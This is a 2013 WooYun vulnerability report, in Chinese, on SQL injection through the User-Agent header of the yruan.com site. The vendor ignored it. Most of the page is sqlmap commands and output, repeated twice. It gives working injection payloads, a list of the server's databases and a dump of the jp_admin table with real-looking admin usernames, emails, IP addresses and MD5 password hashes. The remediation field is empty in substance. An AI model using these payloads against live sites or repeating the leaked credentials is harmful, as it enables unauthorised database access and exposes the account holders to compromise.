当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041260

漏洞标题:亿软网sql注入漏洞一枚

相关厂商:yruan.com

漏洞作者: 盈盈无绪

提交时间:2013-10-30 10:33

修复时间:2013-11-04 10:34

公开时间:2013-11-04 10:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-30: 细节已通知厂商并且等待厂商处理中
2013-11-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

看他们上一个的漏洞的时候发现代码写的有问题,就再测试一下sql注入了

详细说明:

./sqlmap.py -u yruan.com --current-db --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:54:12
[11:54:12] [INFO] resuming back-end DBMS 'mysql'
[11:54:12] [INFO] testing connection to the target URL
[11:54:12] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: User-Agent
Parameter: User-Agent
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sqlmap/1.0-dev (http://sqlmap.org)' AND 3804=3804 AND 'BwuL'='BwuL
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sqlmap/1.0-dev (http://sqlmap.org)' AND (SELECT 3796 FROM(SELECT COUNT(*),CONCAT(0x716c647371,(SELECT (CASE WHEN (3796=3796) THEN 1 ELSE 0 END)),0x71777a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jcPH'='jcPH
---
[11:54:12] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.11, Nginx
back-end DBMS: MySQL 5.0
[11:54:12] [INFO] fetching current user
[11:54:12] [WARNING] reflective value(s) found and filtering out
[11:54:12] [INFO] retrieved: yruan@localhost
current user: 'yruan@localhost'
[11:54:12] [INFO] fetching current database
[11:54:12] [INFO] retrieved: yruan
current database: 'yruan'


./sqlmap.py -u yruan.com --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:51:44
[11:51:44] [INFO] resuming back-end DBMS 'mysql'
[11:51:45] [INFO] testing connection to the target URL
[11:51:45] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: User-Agent
Parameter: User-Agent
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sqlmap/1.0-dev (http://sqlmap.org)' AND 3804=3804 AND 'BwuL'='BwuL
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sqlmap/1.0-dev (http://sqlmap.org)' AND (SELECT 3796 FROM(SELECT COUNT(*),CONCAT(0x716c647371,(SELECT (CASE WHEN (3796=3796) THEN 1 ELSE 0 END)),0x71777a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jcPH'='jcPH
---
[11:51:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.11, Nginx
back-end DBMS: MySQL 5.0
[11:51:45] [INFO] fetching database names
[11:51:45] [WARNING] reflective value(s) found and filtering out
[11:51:45] [INFO] the SQL query used returns 20 entries
[11:51:45] [INFO] retrieved: information_schema
[11:51:46] [INFO] retrieved: 3cpt
[11:51:47] [INFO] retrieved: cacti
[11:51:47] [INFO] retrieved: jihome
[11:51:48] [INFO] retrieved: lenses
[11:51:48] [INFO] retrieved: lenses_test
[11:51:48] [INFO] retrieved: lixi
[11:51:48] [INFO] retrieved: mysql
[11:51:48] [INFO] retrieved: odatas
[11:51:49] [INFO] retrieved: paogamev2
[11:51:50] [INFO] retrieved: phpcms1
[11:51:50] [INFO] retrieved: sq_jipeng
[11:51:50] [INFO] retrieved: supesite
[11:51:50] [INFO] retrieved: tangwenming
[11:51:50] [INFO] retrieved: teagirl
[11:51:50] [INFO] retrieved: ucenter
[11:51:51] [INFO] retrieved: wp_jihome
[11:51:51] [INFO] retrieved: yruan
[11:51:51] [INFO] retrieved: yruan2
[11:51:51] [INFO] retrieved: zapk


Database: yruan
Table: jp_admin
[2 entries]
+----+-------+---------------------+----------------+------------+----------+----------------------------------+---------------------+---------------------+------------+--------------------------------------------------------------+
| id | state | email | lastip | entered | username | password | modified | lasttime | logincount | action_list |
+----+-------+---------------------+----------------+------------+----------+----------------------------------+---------------------+---------------------+------------+--------------------------------------------------------------+
| 14 | 1 | jipeng001@gmail.com | 183.17.180.55 | 2009 | jipeng | fb63080c45add3f0d2e9f605c1d7d018 | 2010-09-16 04:27:06 | 2013-10-27 21:37:19 | 1522 | soft,article,help,comment,ads,links,count,phone,system,cache |
| 26 | 1 | dsf@fdsf.com | 113.116.62.217 | 1319515997 | yongjun | 4754cbc406c7365d745f1740846d6f62 | 2011-10-25 00:17:46 | 2013-06-25 11:15:58 | 39 | soft,article,ads,links,count,phone,help,comment,cache |
+----+-------+---------------------+----------------+------------+----------+----------------------------------+---------------------+---------------------+------------+--------------------------------------------------------------+

漏洞证明:

./sqlmap.py -u yruan.com --current-db --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:54:12
[11:54:12] [INFO] resuming back-end DBMS 'mysql'
[11:54:12] [INFO] testing connection to the target URL
[11:54:12] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: User-Agent
Parameter: User-Agent
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sqlmap/1.0-dev (http://sqlmap.org)' AND 3804=3804 AND 'BwuL'='BwuL
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sqlmap/1.0-dev (http://sqlmap.org)' AND (SELECT 3796 FROM(SELECT COUNT(*),CONCAT(0x716c647371,(SELECT (CASE WHEN (3796=3796) THEN 1 ELSE 0 END)),0x71777a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jcPH'='jcPH
---
[11:54:12] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.11, Nginx
back-end DBMS: MySQL 5.0
[11:54:12] [INFO] fetching current user
[11:54:12] [WARNING] reflective value(s) found and filtering out
[11:54:12] [INFO] retrieved: yruan@localhost
current user: 'yruan@localhost'
[11:54:12] [INFO] fetching current database
[11:54:12] [INFO] retrieved: yruan
current database: 'yruan'


./sqlmap.py -u yruan.com --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:51:44
[11:51:44] [INFO] resuming back-end DBMS 'mysql'
[11:51:45] [INFO] testing connection to the target URL
[11:51:45] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: User-Agent
Parameter: User-Agent
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sqlmap/1.0-dev (http://sqlmap.org)' AND 3804=3804 AND 'BwuL'='BwuL
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sqlmap/1.0-dev (http://sqlmap.org)' AND (SELECT 3796 FROM(SELECT COUNT(*),CONCAT(0x716c647371,(SELECT (CASE WHEN (3796=3796) THEN 1 ELSE 0 END)),0x71777a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jcPH'='jcPH
---
[11:51:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.11, Nginx
back-end DBMS: MySQL 5.0
[11:51:45] [INFO] fetching database names
[11:51:45] [WARNING] reflective value(s) found and filtering out
[11:51:45] [INFO] the SQL query used returns 20 entries
[11:51:45] [INFO] retrieved: information_schema
[11:51:46] [INFO] retrieved: 3cpt
[11:51:47] [INFO] retrieved: cacti
[11:51:47] [INFO] retrieved: jihome
[11:51:48] [INFO] retrieved: lenses
[11:51:48] [INFO] retrieved: lenses_test
[11:51:48] [INFO] retrieved: lixi
[11:51:48] [INFO] retrieved: mysql
[11:51:48] [INFO] retrieved: odatas
[11:51:49] [INFO] retrieved: paogamev2
[11:51:50] [INFO] retrieved: phpcms1
[11:51:50] [INFO] retrieved: sq_jipeng
[11:51:50] [INFO] retrieved: supesite
[11:51:50] [INFO] retrieved: tangwenming
[11:51:50] [INFO] retrieved: teagirl
[11:51:50] [INFO] retrieved: ucenter
[11:51:51] [INFO] retrieved: wp_jihome
[11:51:51] [INFO] retrieved: yruan
[11:51:51] [INFO] retrieved: yruan2
[11:51:51] [INFO] retrieved: zapk


Database: yruan
Table: jp_admin
[2 entries]
+----+-------+---------------------+----------------+------------+----------+----------------------------------+---------------------+---------------------+------------+--------------------------------------------------------------+
| id | state | email | lastip | entered | username | password | modified | lasttime | logincount | action_list |
+----+-------+---------------------+----------------+------------+----------+----------------------------------+---------------------+---------------------+------------+--------------------------------------------------------------+
| 14 | 1 | jipeng001@gmail.com | 183.17.180.55 | 2009 | jipeng | fb63080c45add3f0d2e9f605c1d7d018 | 2010-09-16 04:27:06 | 2013-10-27 21:37:19 | 1522 | soft,article,help,comment,ads,links,count,phone,system,cache |
| 26 | 1 | dsf@fdsf.com | 113.116.62.217 | 1319515997 | yongjun | 4754cbc406c7365d745f1740846d6f62 | 2011-10-25 00:17:46 | 2013-06-25 11:15:58 | 39 | soft,article,ads,links,count,phone,help,comment,cache |
+----+-------+---------------------+----------------+------------+----------+----------------------------------+---------------------+---------------------+------------+--------------------------------------------------------------+

修复方案:

你们懂得

版权声明:转载请注明来源 盈盈无绪@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-11-04 10:34

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-30 14:45 | 盈盈无绪 ( 实习白帽子 | Rank:44 漏洞数:14 | 此人很懒)

    厂商为啥没确认这个漏洞呢?